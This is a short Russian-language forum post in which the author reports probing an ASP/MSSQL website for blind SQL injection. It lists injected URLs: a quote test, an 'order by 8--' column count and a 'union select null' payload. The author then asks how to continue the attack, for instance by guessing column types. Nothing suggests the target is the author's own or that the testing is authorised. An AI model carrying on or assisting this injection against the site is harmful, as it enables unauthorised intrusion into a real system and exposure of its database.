Есть сайт на асп(судя по всему MSSQL ), ощибки базы данных не выводятся... но есть слепая инъекция, как я думаю.

script.asp?id=853 - контент показывается

script.asp?id=853' - контент не показывается

script.asp?id=853+order+by+8-- - подобрал колонки, их восемь.

script.asp?id=853+union+select+null,null,null,null ,null,null,null,null-- ничего не выводиться, в том числе контент.

Как быть с этим? Подбирать тип колонок вручную? или что то еще можно?
И вообще, правильно ли я рассуждал?